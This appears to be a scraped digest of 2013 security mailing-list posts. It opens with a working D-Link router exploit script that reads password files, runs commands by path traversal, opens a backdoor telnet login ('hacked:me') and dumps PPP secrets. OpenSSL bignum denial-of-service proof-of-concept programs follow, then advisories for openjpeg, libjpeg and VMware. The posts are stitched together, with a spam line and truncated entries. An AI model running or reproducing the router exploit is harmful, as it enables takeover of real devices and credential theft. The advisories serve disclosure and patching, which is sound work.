D-Link DIR-XXX remote root access exploit.
General info: = A lot have been already said about SOHO routers. Thus, without further ado another nail in the coffin. knock knock === -- cut #!/bin/sh if [ -z $1 ]; then echo d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0); echo exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b; echo usage: $0 [router address] [telnet port]; exit 0; fi; if [ -z $2 ]; then TPORT=; else TPORT=$2; fi UPORT=31337; echo Trying $1 ...; HTTPASSWD=`curl -sS http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd; | grep -A1 center | tail -1 | sed -e s/\t//g ; s/^\([^:]*\):\([^:]*\)$/\1\n \2/g`; if [ ! -z $HTTPASSWD ]; then L=`echo $HTTPASSWD | cut -d' ' -f1`; P=`echo $HTTPASSWD | cut -d' ' -f2`; echo found username: $L; echo found password: $P; curl -d ACTION_POST=LOGINLOGIN_USER=$LLOGIN_PASSWD=$P -sS http://$1/login.php; | grep -v fail 1/dev/null; if [ $? -eq 0 ]; then curl -sS http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $TPORT -j ACCEPTset/runtime/syslog/sendmail=1 1/dev/null; curl -sS http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport $UPORT -j ACCEPTset/runtime/syslog/sendmail=1 1/dev/null; curl -sS http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33exeshell=../../../../usr/sbin/telnetd -p $TPORT -l /usr/sbin/login -u hacked:meset/runtime/syslog/sendmail=1 1/dev/null; echo if you are lucky telnet is listening on $TPORT (hacked:me) ... curl -sS http://$1/logout.php; 1/dev/null; fi fi CHAP=`curl -sS http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets; | grep -A1 center | sed -e s/center//g`; if [ ! -z $CHAP ]; then echo found chap-secrets: $CHAP; fi echo Bye bye.; exit 0; -- cut Credits: echo $use_the_source_luke FREE 3D MARINE AQUARIUM SCREENSAVER - Watch dolphins, sharks orcas on your desktop! Check it out at http://www.inbox.com/marineaquarium
Multiple issues in OpenSSL - BN (multiprecision integer arithmetics).
General info:
=
The bn (multiprecision integer arithmetics) part of the OpenSSL library is
prone to null ptr deref, off-by-one and others resulting in DoS/crashes.
Versions tested were between 0.9.8k and 1.0.1e. We were too laz*cough* busy to
prepare the fancy table, sorry guys.
Some PoC will work for one version but not for the other. Your milage may vary,
so you'll have to test it by yourself.
bn_div_words.c:
===
-- cut
/* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d);
bn_div_words(h, l, d) divides the two word number (h,l) by d and returns
the result.
# if defined(__i386) || defined (__i386__)
*
* There were two reasons for implementing this template:
* - GNU C generates a call to a function (__udivdi3 to be exact)
* in reply to BN_ULLONG)n0)BN_BITS2)|n1)/d0 (I fail to
* understand why...);
* - divl doesn't only calculate quotient, but also leaves
* remainder in %edx which we can definitely use here:-)
*
* ap...@fy.chalmers.se
*
# define bn_div_words(n0,n1,d0)\
({ asm volatile ( \
divl %4 \
: =a(q), =d(rem)\
: a(n1), d(n0), g(d0) \
: cc);\
q; \
})
# define REMAINDER_IS_ALREADY_CALCULATED
# elif defined(__x86_64) defined(SIXTY_FOUR_BIT_LONG)
*
* Same story here, but it's 128-bit by 64-bit division. Wow!
* ap...@fy.chalmers.se
*
# define bn_div_words(n0,n1,d0)\
({ asm volatile ( \
divq %4 \
: =a(q), =d(rem)\
: a(n1), d(n0), g(d0) \
: cc);\
q; \
})
*/
#include stdio.h
#include string.h
#include openssl/bn.h
#include openssl/rand.h
int
main(int argc, char **argv)
{
BN_ULONG q,d0,n0,n1,rem=0;
n0 = 10UL; // if n0 = d0 then Floating point exception
n1 = 100UL;
d0 = 10UL;
printf(%lu\n, bn_div_words(n0, n1, d0));
return 0;
}
-- cut
BN_exp_dos.c:
=
-- cut
/* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);
BN_exp() raises a to the p-th power and places the result in r (r=a^p).
This function is faster than repeated applications of BN_mul().
*/
#include stdio.h
#include string.h
#include openssl/bn.h
#include openssl/rand.h
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();
x-d = (BN_ULONG *) malloc(1);
x-d[0] = 0;
x-top = 13645;
x-dmax = 13645;
x-neg = 0;
x-flags = 1;
y-d = (BN_ULONG *) malloc(1);
y-d[0] = 2;
y-top = 1;
y-dmax = 1;
y-neg = 1;
y-flags = 1;
z-d = (BN_ULONG *) malloc(1);
z-d[0] = 34427664;
z-top = 1;
z-dmax = 1;
z-neg = 0;
z-flags = 0;
printf(%d\n, BN_exp(x, y, z, c));
return 0;
}
-- cut
BN_gcd_dos.c:
=
-- cut
/* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);
BN_gcd() computes the greatest common divisor of a and b and p
*/
#include stdio.h
#include string.h
#include openssl/bn.h
#include openssl/rand.h
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();
x-d = (BN_ULONG *) malloc(1);
x-d[0] = 1;
x-top = 0;
x-dmax = 2;
x-neg = 0;
x-flags = 1;
y-d = (BN_ULONG *) malloc(1);
y-d[0] = 1;
y-top = 1;
y-dmax = 1;
y-neg = 0;
y-flags = 0;
z-d = (BN_ULONG *) malloc(1);
z-d[0] = 0;
z-top = 1;
z-dmax = 2;
z-neg = 0;
z-flags = 0;
printf(PoC works for OpenSSL v1.0.1c but not for v0.9.8k\n);
printf(%d\n, BN_gcd(x, y, z, c));
return 0;
}
-- cut
BN_mod_add.c:
=
-- cut
/* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, BN_CTX
*ctx);
BN_mod_add() adds a to b modulo m and places the non-negative result in r.
*/
#include stdio.h
#include string.h
#include openssl/bn.h
#include openssl/rand.h
int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*v;
x = BN_new();
y = BN_new();
z = BN_new();
v = BN_new();
x-d = (BN_ULONG *) malloc(1);
x-d[0] = 262144;
x-top = 1;
x-dmax = 2;
x-neg = 0;
x-flags = 1;
y-d = (BN_ULONG *) malloc(1);
y-d[0] = 262144;
y-top = 1;
y-dmax = 1;
y-neg = 0;
y-flags = 0;
z-d = (BN_ULONG *) malloc(1);
z-d[0] = 0;
z-top = 0;
z-dmax = 1;
z-neg = 0;
z-flags = 1;
v-d = (BN_ULONG *) malloc(1);
v-d[0] = 0;
v-top = 1;
v-dmax = 1;
v-neg = 0;
v-flags = 1;
// triggers bug in bn_div_words()
printf(%d\n, BN_mod_add(x, y, z, v, c));
return 0;
}
-- cut
BN_rshift.c:
-- cut
/* int BN_rshift(BIGNUM *r, BIGNUM *a, int n);
BN_rshift() shifts a right by n bits
[SECURITY] [DSA 2808-1] openjpeg security update
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - - Debian Security Advisory DSA-2808-1 secur...@debian.org http://www.debian.org/security/ Raphael Geissert December 03, 2013 http://www.debian.org/security/faq - - Package: openjpeg Vulnerability : several Problem type : local (remote) Debian-specific: no CVE ID : CVE-2013-1447 CVE-2013-6045 CVE-2013-6052 CVE-2013-6054 Several vulnerabilities have been discovered in OpenJPEG, a JPEG 2000 image library, that may lead to denial of service (CVE-2013-1447) via application crash or high memory consumption, possible code execution through heap buffer overflows (CVE-2013-6045), information disclosure (CVE-2013-6052), or yet another heap buffer overflow that only appears to affect OpenJPEG 1.3 (CVE-2013-6054). For the oldstable distribution (squeeze), these problems have been fixed in version 1.3+dfsg-4+squeeze2. For the stable distribution (wheezy), these problems have been fixed in version 1.3+dfsg-4.7. For the testing distribution (jessie), and the unstable distribution (sid), these problems will be fixed soon. We recommend that you upgrade your openjpeg packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-annou...@lists.debian.org -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.14 (GNU/Linux) iEYEARECAAYFAlKdgtEACgkQYy49rUbZzlr8NgCfSwxBLWpjS1E+0DJ64u1G8mZ9 9e4AnR40auxgnF/Q06D9xqc8VaaKrEJa =Phb2 -END PGP SIGNATURE-
bugs in IJG jpeg6b libjpeg-turbo
Dearly beloved, So, for one reason or another, the IJG jpeg library has gained some notoriety as one of the most robust pieces of complex, security-critical C code. Despite countless fuzzing efforts, I don't recall any reports of serious vulnerabilities at least since the release of jpeg6b in 1998 (that's still the most commonly-used version of that library). Compared to the track record of libraries such as libpng or libtiff, that's quite a feat. Well, as it happens, jpeg6b and some of its optimized clones (e.g., libjpeg-turbo) will use uninitialized memory when decoding images with missing SOS data for the luminance component (Y) in presence of valid chroma data (Cr, Cb). Here's a nice PoC for Chrome, Firefox Safari, with fixes shipping as we speak (CVE-2013-6629): http://lcamtuf.coredump.cx/jpeg_leak/ Funnily enough, as we were investigating this finding, we noticed that the problem has been independently spotted back in 2003, but not recognized as a security issue: http://bugs.ghostscript.com/show_bug.cgi?id=686980 The patch developed by Ghotscript folks to fix rendering problems with a particular document apparently ended up in limbo until 2013, at which point it was incorporated into a relatively little-used version 9 of IJG jpeg. As far as I can tell, there are no changelog entries associated with this fix. Anyway, if you're using libjpeg-turbo, jpeg6b, or any derived code, you probably want to backport the changes to get_sos() in jdmarker.c. Look for the section that talks about checking for unique component IDs. A new version of libjpeg-turbo will probably fix this upstream soon. I wouldn't expect upstream fixes to jpeg6b itself. ... While we're on the topic of JPEG libraries... a bit less interestingly, there is also a separate but similar issue in the handling of Huffman tables in libjpeg-turbo. This one apparently does not affect IJG jpeg, and doesn't such a colorful history to go with it. A raw image illustrating the problem (CVE-2013-6630) is here: http://lcamtuf.coredump.cx/jpeg_leak/turbo-dht.jpg A simple fix for this is to locate get_dht in jdmarker.c and make sure that the huffval[] table is zeroed before use. ... Well, that's it. As far as the impact goes, similar info leaks have been previously shown to allow a variety of things in the browser environment, including cookie theft or bypassing ASLR; see http://vexillium.org/?sec-ff for one cool example. The general case of code that performs one-shot image conversions in a separate process is of minimal concern; in-process or multi-shot conversions can be problematic. Converters that do not directly decode user-supplied JPEGs should be OK. PS. If you're interested about the tool used to generate and isolate these inputs, check out http://code.google.com/p/american-fuzzy-lop/ /mz
NEW VMSA-2013-0014 VMware Workstation, Fusion, ESXi and ESX patches address a guest privilege escalation
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - --- VMware Security Advisory Advisory ID: VMSA-2013-0014 Synopsis:VMware Workstation, Fusion, ESXi and ESX patches address a guest privilege escalation Issue date: 2013-12-03 Updated on: 2013-12-03 (initial advisory) CVE number: CVE-2013-3519 - --- 1. Summary VMware Workstation, Fusion, ESXi and ESX patches address a vulnerability in the LGTOSYNC.SYS driver which could result in a privilege escalation on older Windows-based Guest Operating Systems. 2. Relevant releases VMware Workstation 9.x prior to version 9.0.3 VMware Player 5.x prior to version 5.0.3 VMware Fusion 5.x prior to version 5.0.4 VMware ESXi 5.1 without patch ESXi510-201304102 VMware ESXi 5.0 without patch ESXi500-201303102 VMware ESXi 4.1 without patch ESXi410-201301402 VMware ESXi 4.0 without patch ESXi400-201305401 VMware ESX 4.1 without patch ESX410-201301401 VMware ESX 4.0 without patch ESX400-201305401 3. Problem Description a. VMware LGTOSYNC privilege escalation. VMware ESX, Workstation and Fusion contain a vulnerability in the handling of control code in lgtosync.sys. A local malicious user may exploit this vulnerability to manipulate the memory allocation. This could result in a privilege escalation on 32-bit Guest Operating Systems running Windows 2000 Server, Windows XP or Windows 2003 Server on ESXi and ESX; or Windows XP on Workstation and Fusion. The vulnerability does not allow for privilege escalation from the Guest Operating System to the host. This means that host memory can not be manipulated from the Guest Operating System. VMware would like to thank Derek Soeder of Cylance, Inc. for reporting this issue to us. The Common Vulnerabilityies and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3519 to this issue. Column 4 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. VMware Product Running Replace with/ Product Version onApply Patch* = === === = Workstation 10.x any not affected Workstation 9.x any 9.0.3 or later Player 6.x Windows not affected Player 5.x Windows 5.0.3 or later Fusion 6.x Mac OS/X not affected Fusion 5.x Mac OS/X 5.0.4 or later ESXi5.5 ESXi not affected ESXi5.1 ESXi ESXi510-201304102-SG ESXi5.0 ESXi ESXi500-201303102-SG ESXi4.1 ESXi ESXi410-201301402-SG ESXi4.0 ESXi ESXi400-201305401-SG ESX 4.1 ESX ESX410-201301401-SG ESX 4.0 ESX ESX400-201305401-SG * Notes on updating VMware Guest Tools: After the update or patch is applied, VMware Guest Tools must be updated in any pre-existing Windows-based Guest Operating System followed by a reboot of the guest system. 4. Solution Please review the patch/release notes for your product and version and verify the checksum of your downloaded file. VMware Workstation --- https://www.vmware.com/go/downloadworkstation VMware Player --- https://www.vmware.com/go/downloadplayer VMware Fusion --- https://www.vmware.com/go/downloadfusion ESXi and ESX --- https://my.vmware.com/web/vmware/downloads ESXi 5.1 --- File: update-from-esxi5.1-5.1_update01.zip md5sum: 28b8026bcfbe3cd1817509759d4b61d6 sha1sum: 9d3124d3c5efa6d0c3b9ba06511243fc6e205542 http://kb.vmware.com/kb/2041632 update-from-esxi5.1-5.1_update01.zip contains ESXi510-201304102-SG ESXi 5.0 --- File: ESXi500-201303001.zip md5sum: c62470c48e81da84891c79d5533c8e91 sha1sum: 69fe8933888d2a6c4e53cfe822441c963bdcd2c7 http://kb.vmware.com/kb/2044373 ESXi500-201303001.zip contains ESXi500-201303102-SG ESXi 4.1 --- File: ESXi410-201301001.zip md5sum: 2fce8e96048b5f80354e90a1b9e7776c sha1sum: d38283afafe7e27fc64f11cf780e0f1577f98c6c http://kb.vmware.com/kb/2041332 ESXi410-201301001 contains ESXi410-201301402-SG ESXi 4.0
